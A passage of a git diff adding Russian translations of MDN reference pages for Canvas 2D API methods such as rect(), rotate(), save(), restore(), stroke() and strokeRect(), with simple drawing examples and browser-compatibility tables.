+ <li><a href="/ru/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Пиксельные манипуляции с холстом</a></li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/rect/index.html b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html
new file mode 100644
index 0000000000..d5b1d4415f
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html
@@ -0,0 +1,173 @@
+---
+title: CanvasRenderingContext2D.rect()
+slug: Web/API/CanvasRenderingContext2D/rect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/rect
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rect()</code></strong>, предоставляемый Canvas 2D API, создает контур прямоугольника в позиции <em>(x, y)</em>, размеры которого устанавливаются аргументами <em>width</em> и <em>height</em>. Четыре точки прямоугольника соединяются прямыми линиями, и получившийся фрагмент контура отмечается как замкнутый, так что вы можете выполнить его заливку или обрисовать контур.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.rect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси y.</dd>
+ <dt><code>width</code></dt>
+ <dd>Ширина прямоугольника.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота прямоугольника.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_rect">Использование метода <code>rect</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>rect</code> для создания контура. Для того чтобы нарисовать контур на холсте вы можете воспользоваться методами {{domxref("CanvasRenderingContext2D.fill", "fill()")}} или {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}. Обратите внимание так же на методы {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} и {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect()")}} которые могут сделать тоже самое за один раз .</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[3]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.fill();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rect", "CanvasRenderingContext2D.rect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fill()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.stroke()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/restore/index.html b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html
new file mode 100644
index 0000000000..33feac8b7e
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html
@@ -0,0 +1,76 @@
+---
+title: CanvasRenderingContext2D.restore()
+slug: Web/API/CanvasRenderingContext2D/restore
+translation_of: Web/API/CanvasRenderingContext2D/restore
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.restore()</code></strong> восстанавливает предварительно сохраненное состояние канваса из стека. Если состояние ранее не сохранялось, то метод ничего не делает.</p>
+
+<p>Fore more information about the <a href="/en-US/docs/Web/API/CanvasRenderingContext2D.save#Drawing_state">drawing state</a>, see {{domxref("CanvasRenderingContext2D.save()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.restore();</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Restoring_a_saved_state">Restoring a saved state</h3>
+
+<p>This example uses the <code>save()</code> method to save the default state and <code>restore()</code> to restore it later, so that you are able to draw a rect with the default state later.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[11]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Save the default state
+ctx.save();
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+
+// Restore the default state
+ctx.restore();
+
+ctx.fillRect(150, 40, 100, 100);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Restoring_a_saved_state', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-restore", "CanvasRenderingContext2D.restore")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.restore")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>The interface defining this method: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.save()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html
new file mode 100644
index 0000000000..ea206a5d1f
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html
@@ -0,0 +1,120 @@
+---
+title: CanvasRenderingContext2D.rotate()
+slug: Web/API/CanvasRenderingContext2D/rotate
+translation_of: Web/API/CanvasRenderingContext2D/rotate
+---
+<div>{{APIRef}}</div>
+
+<div>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rotate()</code></strong> из Canvas 2D API добавляет поворот в матрицу преобразования. Параметр angle - это угол поворота по часовой стрелке, в радианах.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.rotate(angle);</var>
+</pre>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;"></p>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>angle</code></dt>
+ <dd>Угол поворота по часовой стрелке, в радианах. Вы также можете использовать <code><em>degree</em> * Math.PI / 180</code> если вы хотите использовать для угла значение градуса (degree).</dd>
+</dl>
+
+<p>Центром вращения всегда является начало холста. Для изменения центра вращения, нам необходимо передвинуть холст, используя метод {{domxref("CanvasRenderingContext2D.translate", "translate()")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_rotate">Использование метода <code>rotate</code></h3>
+
+<p>Ниже приведен простой пример кода, который использует метод <code>rotate</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70, 0, 100, 30);
+
+// reset current transformation matrix to the identity matrix
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+</pre>
+
+<p>Отредактируйте приведенный ниже код и посмотрите, как обновляются ваши изменения на холсте:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70,0,100,30);
+ctx.setTransform(1, 0, 0, 1, 0, 0);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rotate", "CanvasRenderingContext2D.rotate")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.rotate")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/save/index.html b/files/ru/web/api/canvasrenderingcontext2d/save/index.html
new file mode 100644
index 0000000000..8716b6487c
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/save/index.html
@@ -0,0 +1,84 @@
+---
+title: CanvasRenderingContext2D.save()
+slug: Web/API/CanvasRenderingContext2D/save
+translation_of: Web/API/CanvasRenderingContext2D/save
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.save()</code></strong> - метод Canvas 2D API. Сохраняет все состояния и добавляет текущее состояние в стек.</p>
+
+<h3 id="Состояние_чертежа">Состояние чертежа</h3>
+
+<p>Состояние чертежа, которое сохраняется в стеке, состоит из:</p>
+
+<ul>
+ <li>Текущая матрица преобразования.</li>
+ <li>Текущая область отсечения.</li>
+ <li>The current dash list.</li>
+ <li>Текущие значения следующих атрибутов: {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.save();</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Сохранение_состояния_чертежа">Сохранение состояния чертежа</h3>
+
+<p>Этот пример использует метод <code>save()</code> для сохранения состояния по умолчанию, и метод <code>restore()</code> для восстановления состояния позже, чтобы позже можно было нарисовать прямоугольник с состоянием по умолчанию.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre><code>const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Сохранение состояния по умолчанию
+ctx.save();
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+
+// Восстановление состояния по умолчанию
+ctx.restore();
+
+ctx.fillRect(150, 40, 100, 100);</code></pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Saving_the_drawing_state', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-save", "CanvasRenderingContext2D.save")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.save")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.restore()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html
new file mode 100644
index 0000000000..1ac7882a57
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html
@@ -0,0 +1,116 @@
+---
+title: CanvasRenderingContext2D.stroke()
+slug: Web/API/CanvasRenderingContext2D/stroke
+translation_of: Web/API/CanvasRenderingContext2D/stroke
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <strong><code>CanvasRenderingContext2D.stroke()</code></strong> Canvas 2D API обводит текущий или данный контур цветом <code>strokeStyle</code>.</p>
+
+<p>Обводка выравнивается по центру контура, другими словами, половина линии обводки рисуется с внутренней стороны контура, и половина с внешней.</p>
+
+<p>Обводка отрисовывается согласно правилу ненулевого индекса, а значит, пересекающиеся части контура также будут обведены.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.stroke();</var>
+void <var><em>ctx</em>.stroke(path);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>path</code></dt>
+ <dd>{{domxref ("Path2D")}} - контур, который нужно обвести.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_stroke()">Использование метода <code>stroke()</code></h3>
+
+<p>В этом примере с помощью метода <code>rect()</code> создается прямоугольник, и затем с помощью <code>stroke()</code> отрисовывается на холсте.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+</pre>
+
+<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется рисунок на холсте:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroke", "CanvasRenderingContext2D.stroke")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.stroke")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий этот метод - {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html b/files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html
new file mode 100644
index 0000000000..e211be454f
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html
@@ -0,0 +1,173 @@
+---
+title: CanvasRenderingContext2D.strokeRect()
+slug: Web/API/CanvasRenderingContext2D/strokeRect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/strokeRect
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeRect()</code></strong>, предоставляемый Canvas 2D API, рисует на холсте прямоугольник, имеющий начальную точку с координатами <em>(x, y)</em>, а так же ширину<em> w</em> и высоту <em>h</em>, используя текущий стиль линий.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.strokeRect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси y.</dd>
+ <dt><code>width</code></dt>
+ <dd>Ширина прямоугольника.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота прямоугольника.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_strokeRect">Использование метода <code>strokeRect</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>strokeRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.strokeStyle = "green";
+ctx.strokeRect(10, 10, 100, 100);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.strokeStyle = "green";
+ctx.strokeRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokerect", "CanvasRenderingContext2D.strokeRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.clearRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html
new file mode 100644
index 0000000000..eff9c60020
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html
@@ -0,0 +1,205 @@
+---
+title: CanvasRenderingContext2D.strokeStyle
+slug: Web/API/CanvasRenderingContext2D/strokeStyle
+translation_of: Web/API/CanvasRenderingContext2D/strokeStyle
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство<strong> </strong><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeStyle</code></strong>, предоставляемое Canvas 2D API задает цвет или стиль, используемый при выполнении обводки фигур. По умолчанию установлено значение <code>#000</code> (черный цвет).</p>
+
+<p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.strokeStyle = color;
+</var><var><em>ctx</em>.strokeStyle = gradient;
+</var><var><em>ctx</em>.strokeStyle = pattern;</var>
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>color</code></dt>
+ <dd>{{domxref("DOMString")}} строка содержащая цвет в формате, поддерживающимся стандартом CSS ({{cssxref("&lt;color&gt;")}}).</dd>
+ <dt><code>gradient</code></dt>
+ <dd>Объект класса {{domxref("CanvasGradient")}} (линейный или круговой градиент ).</dd>
+ <dt><code>pattern</code></dt>
+ <dd>Объект класса {{domxref("CanvasPattern")}} (повторяющееся изображение).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_strokeStyle_property" name="Using_the_strokeStyle_property">Использование <code>strokeStyle</code> с цветом</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий <code>strokeStyle</code> с цветом.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.strokeStyle = "blue";
+ctx.strokeRect(10, 10, 100, 100);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
